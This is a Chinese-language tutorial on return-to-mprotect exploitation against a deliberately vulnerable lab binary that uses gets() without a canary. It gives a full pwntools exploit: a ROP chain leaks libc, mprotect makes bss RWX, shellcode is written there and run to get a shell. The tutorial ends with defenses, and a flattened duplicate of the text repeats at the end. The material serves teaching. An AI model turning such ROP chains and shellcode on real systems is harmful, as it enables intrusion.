一步一步分析return to mprotect的利用
字数 1158 2025-08-24 16:48:07

Return to mprotect 漏洞利用技术详解

1. 技术原理

return to mprotect 是一种利用内存权限修改函数来绕过安全保护的漏洞利用技术,主要应用于以下场景:

  • 当关键函数被禁用时(如system)
  • 需要修改内存区域权限以执行自定义代码
  • 绕过NX(No-eXecute)保护机制

mprotect函数介绍

mprotect() 是Linux系统中用于修改内存区域保护属性的函数,其原型为:

int mprotect(const void *start, size_t len, int prot);

参数说明:

  • start: 内存区域的起始地址
  • len: 要修改的内存区域大小
  • prot: 新的保护属性(通常用8进制表示)

保护属性标志:

  • PROT_READ (0x1): 可读
  • PROT_WRITE (0x2): 可写
  • PROT_EXEC (0x4): 可执行
  • PROT_NONE (0x0): 无权限

2. 利用流程

完整的利用过程分为四个步骤:

  1. 泄漏内存地址:获取libc基地址
  2. 修改内存权限:使用mprotect修改目标区域为RWX
  3. 写入shellcode:将恶意代码写入可执行区域
  4. 跳转执行:执行写入的shellcode

3. 实验环境搭建

测试程序源码

#include <stdio.h>
#include <stdlib.h>

void vuln() {
    char s[0x20];
    puts("Input:");
    gets(&s);
}

int main(void) {
    vuln();
    exit(0);
}

编译选项

gcc -fno-stack-protector test.c -o vuln

保护机制检查

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

4. 详细利用步骤

步骤1:泄漏libc地址

from pwn import *

r = process('./vuln')
elf = ELF('./vuln')
rop = ROP('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = './vuln'
context.log_level = 'debug'

# 获取ROP gadget
pop_rdi_ret = 0x0000000000400663
main_addr = 0x00000000004005DC

# 构造泄漏payload
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr)

# 发送并接收泄漏的地址
r.recvuntil("Input:")
r.sendline(payload)
r.recvline()
leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8, '\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x", libc.address)

步骤2:修改bss段权限为RWX

# 获取必要的ROP gadget
pop_rsi_ret = libc.address + 0x00000000000202e8
pop_rdx_ret = libc.address + 0x0000000000001b92
bss_start_addr = 0x00601000

# 构造mprotect调用链
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(bss_start_addr)      # start
payload += p64(pop_rsi_ret)
payload += p64(0x1000)              # len
payload += p64(pop_rdx_ret)
payload += p64(0x7)                 # prot (RWX)
payload += p64(libc.sym['mprotect'])
payload += p64(main_addr)

r.recvuntil("Input:")
r.sendline(payload)

步骤3:向bss段写入shellcode

shellcode_addr = 0x00602000 - 0x100

# 使用gets函数写入shellcode
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(shellcode_addr)
payload += p64(libc.sym['gets'])
payload += p64(main_addr)

r.recvuntil("Input:")
r.sendline(payload)
time.sleep(1)
r.sendline(asm(shellcraft.sh()))  # 注意确保生成64位shellcode

步骤4:跳转执行shellcode

payload = cyclic(40)
payload += p64(shellcode_addr)

r.recvuntil("Input:")
r.sendline(payload)
r.interactive()

5. 关键点说明

  1. ROP gadget查找

    • 需要找到pop rdi; retpop rsi; retpop rdx; ret等gadget
    • 可以使用ROPgadget工具或pwntools的ROP功能查找
  2. 内存区域选择

    • 通常选择bss段作为目标区域
    • 需要确保区域足够大且不会影响程序正常运行
  3. shellcode生成

    • 注意架构匹配(32位/64位)
    • 使用context.binary设置正确的上下文
    • 可以使用shellcraft模块生成标准shellcode
  4. 权限设置

    • 0x7表示RWX权限(1|2|4)
    • 修改的区段大小需要对齐页边界(通常0x1000)

6. 完整EXP示例

from pwn import *
import time

r = process('./vuln')
elf = ELF('./vuln')
rop = ROP('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = './vuln'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

pop_rdi_ret = 0x0000000000400663
main_addr = 0x00000000004005DC
bss_start_addr = 0x00601000
shellcode_addr = 0x00602000 - 0x100

# Step1: Leak libc address
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
r.recvline()
leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8, '\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x", libc.address)

# Step2: Modify bss permission to RWX
pop_rsi_ret = libc.address + 0x00000000000202e8
pop_rdx_ret = libc.address + 0x0000000000001b92

payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(bss_start_addr)
payload += p64(pop_rsi_ret)
payload += p64(0x1000)
payload += p64(pop_rdx_ret)
payload += p64(0x7)
payload += p64(libc.sym['mprotect'])
payload += p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)

# Step3: Write shellcode to bss
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(shellcode_addr)
payload += p64(libc.sym['gets'])
payload += p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
time.sleep(1)
r.sendline(asm(shellcraft.sh()))

# Step4: Jump to shellcode
payload = cyclic(40)
payload += p64(shellcode_addr)
r.recvuntil("Input:")
r.sendline(payload)
r.interactive()

7. 防御措施

  1. 启用全RELRO:防止GOT表被篡改
  2. 启用栈保护:使用canary检测栈溢出
  3. 启用PIE:使地址随机化
  4. 限制mprotect使用:通过seccomp等机制
  5. 代码审计:避免使用危险函数如gets

8. 总结

return to mprotect技术通过以下方式绕过安全限制:

  1. 利用ROP链调用mprotect修改内存权限
  2. 将不可执行区域变为可执行
  3. 写入并执行自定义shellcode

这种技术特别适用于NX保护开启但其他保护措施不完善的环境,是二进制漏洞利用中的重要技术之一。

Return to mprotect 漏洞利用技术详解 1. 技术原理 return to mprotect 是一种利用内存权限修改函数来绕过安全保护的漏洞利用技术,主要应用于以下场景: 当关键函数被禁用时(如system) 需要修改内存区域权限以执行自定义代码 绕过NX(No-eXecute)保护机制 mprotect函数介绍 mprotect() 是Linux系统中用于修改内存区域保护属性的函数,其原型为: 参数说明: start : 内存区域的起始地址 len : 要修改的内存区域大小 prot : 新的保护属性(通常用8进制表示) 保护属性标志: PROT_READ (0x1): 可读 PROT_WRITE (0x2): 可写 PROT_EXEC (0x4): 可执行 PROT_NONE (0x0): 无权限 2. 利用流程 完整的利用过程分为四个步骤: 泄漏内存地址 :获取libc基地址 修改内存权限 :使用mprotect修改目标区域为RWX 写入shellcode :将恶意代码写入可执行区域 跳转执行 :执行写入的shellcode 3. 实验环境搭建 测试程序源码 编译选项 保护机制检查 4. 详细利用步骤 步骤1:泄漏libc地址 步骤2:修改bss段权限为RWX 步骤3:向bss段写入shellcode 步骤4:跳转执行shellcode 5. 关键点说明 ROP gadget查找 : 需要找到 pop rdi; ret 、 pop rsi; ret 和 pop rdx; ret 等gadget 可以使用 ROPgadget 工具或pwntools的ROP功能查找 内存区域选择 : 通常选择bss段作为目标区域 需要确保区域足够大且不会影响程序正常运行 shellcode生成 : 注意架构匹配(32位/64位) 使用 context.binary 设置正确的上下文 可以使用 shellcraft 模块生成标准shellcode 权限设置 : 0x7 表示RWX权限(1|2|4) 修改的区段大小需要对齐页边界(通常0x1000) 6. 完整EXP示例 7. 防御措施 启用全RELRO :防止GOT表被篡改 启用栈保护 :使用canary检测栈溢出 启用PIE :使地址随机化 限制mprotect使用 :通过seccomp等机制 代码审计 :避免使用危险函数如gets 8. 总结 return to mprotect 技术通过以下方式绕过安全限制: 利用ROP链调用mprotect修改内存权限 将不可执行区域变为可执行 写入并执行自定义shellcode 这种技术特别适用于NX保护开启但其他保护措施不完善的环境,是二进制漏洞利用中的重要技术之一。